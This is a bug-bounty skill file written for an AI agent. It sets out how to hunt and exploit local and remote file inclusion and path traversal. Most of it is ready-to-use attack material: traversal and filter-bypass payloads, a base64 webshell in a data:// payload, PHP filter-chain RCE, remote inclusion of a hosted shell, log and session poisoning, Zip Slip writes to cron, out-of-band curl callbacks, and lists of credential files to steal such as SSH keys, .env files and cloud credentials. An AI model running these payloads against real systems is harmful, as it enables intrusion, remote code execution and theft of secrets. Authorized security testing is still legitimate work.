# hunt-lfi Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target. - **Kind:** skill - **Source:** https://github.com/elementalsouls/Claude-BugHunter - **Page:** https://forefy.com/skills/3fafaa78-1f49-46cd-80e1-749fa7ec0672 - **API (JSON + files):** https://forefy.com/api/asr/3fafaa78-1f49-46cd-80e1-749fa7ec0672 --- ## SKILL.md --- name: hunt-lfi description: "Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target." sources: hackerone_public, synacktiv_research, portswigger_research report_count: 24 --- # HUNT-LFI — Local / Remote File Inclusion & Path Traversal ## Crown Jewel Targets LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files. **Highest-value chains (in rough order of reliability in 2026):** - **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed. - **Log poisoning → RCE** — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first. - **PHP wrappers → source disclosure** — `php://filter/convert.base64-encode/resource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path. - **RFI → RCE** — when `allow_url_include=On`, `?file=http://OOB/shell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present. - **phar:// deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE. - **zip:// / data:// chains** and **session/upload poisoning** when filters block wrappers. --- ## OOB / Blind-LFI Confirmation Gate (Read First) LFI is frequently **blind**: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do **not** claim LFI from indirect signals alone. ### What is NOT confirmation - A different status code or error string for `../../etc/passwd` vs a normal value. The app may be string-matching `../` and returning a canned 403/500 without ever touching the filesystem. - Your input **echoed back** inside an error message (e.g. `failed to open '/var/www/../../etc/passwd'`). That is the path *formatter*, not proof the file was read. A genuine read shows file **contents**, not your path. - A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read. ### What IS confirmation - **Direct read:** actual file *contents* appear (real `root:x:0:0:` line, real PHP source after base64-decoding the filter output). - **Blind read via OOB exfil:** use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your **Burp Collaborator** subdomain, or use an `expect://` / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran. - **Blind read via differential/timing:** include a file you *know* exists and is large (`/etc/passwd`) vs one that does not (`/etc/passwd_nope_`). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence. ### Default workflow 1. Pick a **unique marker** target: prefer a file whose content you can fingerprint exactly (`/etc/passwd` → grep `^root:`). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source. 2. Generate a sub-tagged Collaborator payload per sink (`lfi-page.`, `lfi-tpl.`) so callbacks identify which parameter fired. 3. Send, wait 30–120s, poll OOB. 4. Claim LFI **only** after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted. --- ## Attack Surface Signals ### URL / Body Parameters ``` ?page= ?file= ?path= ?template= ?view= ?lang= ?module= ?include= ?doc= ?load= ?read= ?content= ?theme= ?layout= ?component= ?download= ?img= ?pdf= ?report= ?style= ?dir= JSON bodies: {"filename":...} {"template":...} {"path":...} ``` ### Technology Stack Signals | Signal | Vector | |--------|--------| | PHP (`X-Powered-By`, `.php`, PHPSESSID) | php:// filter-chain RCE, phar://, zip://, data:// | | Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) | | Apache 2.4.49 / 2.4.50 (`Server:` banner) | CVE-2021-41773 / CVE-2021-42013 traversal → RCE | | PHP-CGI on Windows (XAMPP, `php-cgi.exe`) | CVE-2024-4577 arg-injection → RCE | | Java servlet (`/WEB-INF/`) | `WEB-INF/web.xml`, `classes/`, `application.properties` | | Python Flask/Django | `/proc/self/environ`, `settings.py`, `SECRET_KEY` | | Node.js file-serve / `res.sendFile`, `express.static` | path-traversal read, `require()` traversal | | Windows IIS / .NET | `..\..\web.config`, `C:\Windows\win.ini`, machineKey | --- ## Step-by-Step Methodology ### Phase 1 — Identify Candidates ```bash cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \ recon/$TARGET/urls.txt ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302 ``` ### Phase 2 — Path Traversal (read) ```bash ?file=../../../etc/passwd ?file=....//....//....//etc/passwd # ../ stripping once → ....// survives ?file=..%2f..%2f..%2fetc%2fpasswd # single URL-encode ?file=..%252f..%252f..%252fetc%252fpasswd # double encode (decoded twice server-side) ?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd # encode dots too ?file=/etc/passwd%00.png # null byte — PHP < 5.3.4 only ?file=....\/....\/etc\/passwd # mixed slash # Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix # UTF-8 overlong: %c0%ae%c0%ae%2f (legacy servers) ``` ```bash # Windows ?file=..\..\..\windows\win.ini ?file=..%5c..%5c..%5cwindows%5cwin.ini ?file=C:\inetpub\wwwroot\web.config ``` ### Phase 3 — PHP Wrappers (source disclosure) ```bash ?file=php://filter/convert.base64-encode/resource=index.php # decode base64 → source ?file=php://filter/read=string.rot13/resource=config.php ?file=php://filter/convert.base64-encode/resource=../app/Config.php # Always base64-encode source reads: raw is parsed/swallowed and you see nothing. ``` ### Phase 4 — PHP Filter-Chain → RCE (no upload, no writable file) The modern flagship technique (Synacktiv, 2022). If you have a `php://`-capable LFI that *reads* a file, you can also *execute* attacker-chosen PHP. `iconv` charset conversions, chained inside `php://filter`, emit controlled bytes that prepend to the resource until a full `` payload is forged — then `include()` runs it. **No upload endpoint, no log access, no writable path required.** ```bash # Generate the chain (public tool, no CVE — it abuses documented iconv behaviour): # git clone https://github.com/synacktiv/php_filter_chain_generator python3 php_filter_chain_generator.py --chain '' # Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string. # Drop it into the sink: ?file=php://filter/convert.iconv.UTF8.CSISO2022KR|......|convert.base64-decode/resource=php://temp&c=id ``` Notes / gotchas: - Requires the include sink to accept the `php://filter` scheme (most LFI sinks calling `include`/`require`/`file_get_contents` on the param do). - Payloads get **long** (10–50KB). If the param is length-capped or WAF-blocked on size, move it to a POST body, or use a minimal payload (``). - For blind targets, set the chain payload to a Collaborator callback (`/".`id`);?>`) to confirm execution OOB. - This works even when log poisoning fails (unreadable logs, `open_basedir`). Try it whenever you have a php:// filter read. ### Phase 5 — Code-Execution Wrappers (config prerequisites) ```bash # data:// — executes inline; REQUIRES allow_url_include=On ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id # # php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On # POST ?file=php://input body: # (Same prerequisite as data://. Do NOT assume this works on default PHP config.) # expect:// — direct command exec; requires the (rare) expect extension loaded ?file=expect://id ``` ### Phase 6 — Remote File Inclusion (RFI) RFI = the include target is a **remote URL**. Prerequisite: `allow_url_include=On` (and `allow_url_fopen=On`). Off by default on modern PHP, but still seen on legacy/misconfigured hosts. ```bash # Host a payload you control, then: ?file=http://OOB-HOST/shell.txt # shell.txt contains ?file=https://OOB-HOST/shell.txt? ?file=ftp://OOB-HOST/shell.txt # Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the # include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI. # Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell ``` ### Phase 7 — Log Poisoning → RCE ```bash # Step 1: inject PHP into a log the include can read curl -s "https://$TARGET/" -H "User-Agent: " # Step 2: include it (verify the log is readable first — read it plain before poisoning) ?file=../../../var/log/apache2/access.log&c=id ?file=../../../var/log/nginx/access.log&c=id ?file=/proc/self/fd/0&c=id # stdin fd (varies) # Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log # /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ ``` ### Phase 8 — Session / Upload Poisoning ```bash # PHP session: set payload in a stored field (username/profile), then include the session file ?file=/var/lib/php/sessions/sess_&c=id ?file=/tmp/sess_&c=id # phar:// object injection (needs an unserialize-on-metadata sink + any file upload): ?file=phar:///var/www/uploads/evil.jpg # JPEG magic bytes prepended to a PHAR # zip:// — archive containing the target, or a symlink to /etc/passwd ?file=zip:///var/www/uploads/a.zip%23path/inside.txt ``` ### Phase 8b — Archive-extraction & image-processing sinks (no `?file=` needed) Two LFI/traversal surfaces that are not query-parameter file reads: - **Zip Slip / tar-symlink escape** — a server that untars/unzips a user-supplied archive follows `../../` entry names or embedded symlinks (tar preserves them) to read/write outside the extraction dir. Craft an archive entry named `../../../etc/cron.d/x`, or a symlink pointing at `/etc/passwd`; confirm by writing a unique canary outside the upload dir. Disclosed: reports/1439593, reports/733072, reports/822262. - **ImageMagick coder read-sink** — image convert/thumbnail/avatar features read local files via MSL/MVG coders even with no file parameter: filename/label `label:@/etc/passwd`, or an MSL payload (``) plus `msl:`/`ephemeral:` pseudo-protocols (ImageTragick CVE-2016-3714 family). Disclosed: reports/1858574. Pairs with `hunt-file-upload`. ### Phase 9 — Automation (then manual-confirm everything) ```bash ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found" wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh \ "https://$TARGET/page.php?file=FUZZ" dotdotpwn -m http -h $TARGET -o unix # Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation. ``` --- ## Named CVEs / Public Techniques (grounding) Verified, correctly-attributed references for the patterns above: - **PHP filter-chain to RCE** — Synacktiv research (2022); `php_filter_chain_generator`. Not a CVE; an abuse of documented `iconv` behaviour. The reason a bare file-read upgrades to Critical. - **CVE-2021-41773** — Apache HTTP Server 2.4.49 path traversal (`%2e` in normalized path) → file read, and RCE when `mod_cgi` is enabled. - **CVE-2021-42013** — Apache HTTP Server 2.4.50 incomplete fix for the above (double-encoded `%%32%65`) → traversal/RCE. - **CVE-2024-4577** — PHP-CGI argument injection on Windows (Best-Fit encoding); reachable on XAMPP-style stacks, chains from file-serve to RCE. > Grounding note: this skill is built from 31 disclosed LFI/path-traversal reports. When citing a specific HackerOne report in your write-up, link the exact report URL/ID you used — do **not** paraphrase a report ID from memory. A wrong ID is worse than none. --- ## Sensitive Files to Read ``` # Linux /etc/passwd /etc/hosts /etc/shadow (rarely readable) /proc/self/environ /proc/self/cmdline /proc/self/status /var/www/html/.env /var/www/html/config.php /var/www/html/wp-config.php /home/*/.ssh/id_rsa /root/.ssh/id_rsa /root/.bash_history /var/www/html/app/config/parameters.yml # Symfony .git/config .git/HEAD composer.json package.json # App / cloud secrets /proc/self/environ ~/.aws/credentials ~/.docker/config.json /run/secrets/* # Windows / .NET C:\Windows\win.ini C:\inetpub\wwwroot\web.config ..\..\web.config C:\Windows\System32\inetsrv\config\applicationHost.config ``` --- ## Bypass Table | Filter | Bypass | |--------|--------| | Strips `../` once | `....//` or `..../\` (re-forms `../` after strip) | | URL-decodes once | `%252f` (double-encode `/`), `%252e` for dots | | Decodes once, blocks `..` | Encode dots: `%2e%2e%2f` / overlong `%c0%ae` (legacy) | | Appends `.php` to input | `?` or `#` truncation; null byte `%00` (PHP < 5.3.4) | | Blocks `php://` scheme | try `PHP://`, `pHp://`, or `data://` / `expect://` | | Prepends fixed base dir | enough `../` to escape; or absolute path if no base prepend | | Blocks `/etc/passwd` literal | path-truncation, `/etc/./passwd`, `/etc//passwd` | | WAF on long filter-chains | move chain to POST body / minimize payload | | Windows | `..\..\..\windows\win.ini`, `..%5c..%5c` | --- ## Chain Table | LFI primitive | Chain to | Impact | |---------------|----------|--------| | `php://filter` read | **filter-chain RCE (Phase 4)** | RCE with no upload — **Critical** | | File read | `.env` / `config.php` / `wp-config.php` | DB creds, API keys → backend takeover | | File read | `/proc/self/environ`, `~/.aws/credentials` | env secrets, cloud keys → SSRF/IAM pivot | | Remote URL include | RFI (`allow_url_include`) | direct RCE — **Critical** | | File read + upload | phar:// / log / session poison | RCE — **Critical** | | Source disclosure | full app source | hardcoded secrets, new sinks, machineKey | --- ## Validation Discipline **Direct-read proof (not a false positive):** - Show real *contents*, not your echoed path. `/etc/passwd` must contain a literal `root:x:0:0:root:/root:` line. Diff the response against a known-good param value — the delta must be the file body, not a WAF/error page. - For source reads, the **base64 must decode to valid PHP**. A garbage/empty decode = no real read. - Rule out reflection: confirm the marker text is not simply your input bounced back. Request `/etc/passwd` and `/etc/passwd_` (non-existent) — only the real file returns content. **Blind / OOB proof:** - No reflection? Use a php://filter-chain or RFI payload that calls back to a **unique Burp Collaborator subdomain**. Require a DNS + HTTP hit with the server's source IP before claiming the include executed. Sub-tag per sink. - Timing/length blind: triple-confirm a stable delta (known-large file vs missing file vs second known file). One-off deltas are noise — retract. **Partial / truncated reads:** - Templating may HTML-escape or cut the file. Use `php://filter/convert.base64-encode` so even a truncated read decodes to recognizable bytes; report exactly what you recovered, not what you assume is there. **RCE proof:** show command output you control — `id` / `whoami` / `hostname` reflected, or an OOB callback from inside the executed payload (`curl http:///`). "The payload was accepted" is not RCE. **Severity:** - Non-sensitive file read: **Medium** - File read exposing DB creds / API keys / private keys / cloud creds: **High** - RCE via filter-chain / RFI / log / session / phar / CVE: **Critical**